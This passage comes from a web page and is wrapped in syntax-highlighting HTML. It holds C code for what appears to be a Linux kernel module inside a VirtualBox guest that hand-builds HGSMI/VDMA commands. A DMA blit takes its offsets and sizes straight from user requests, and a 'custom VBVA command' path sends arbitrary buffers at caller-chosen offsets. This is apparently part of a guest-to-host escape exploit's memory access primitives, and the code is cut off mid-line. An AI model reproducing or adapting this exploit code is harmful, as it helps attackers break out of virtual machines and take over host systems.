class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-560\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-561\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACBUF_DR <\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-562\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-c\">\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-563\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffff<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-564\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-565\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD <\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-566\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">enmType<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT *\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-567\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-568\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD_DMA_PRESENT_BLT <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-569\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-570\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offSrc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-571\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offDst<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-572\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-573\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-574\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-575\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-576\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">top<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-577\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-578\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-579\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-580\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-581\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">top<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-582\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-583\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-584\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-585\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-586\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">bpp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-587\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">pitch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-588\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-589\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-590\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-591\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-592\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-593\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">bpp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-594\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">pitch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-595\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-596\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-597\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-598\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-599\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-600\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Error while sending VMDA command: %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-601\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-602\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-603\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-604\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-605\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Sending custom VBVA command (size=%u).n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-606\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-607\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-608\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-609\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-610\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-611\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span 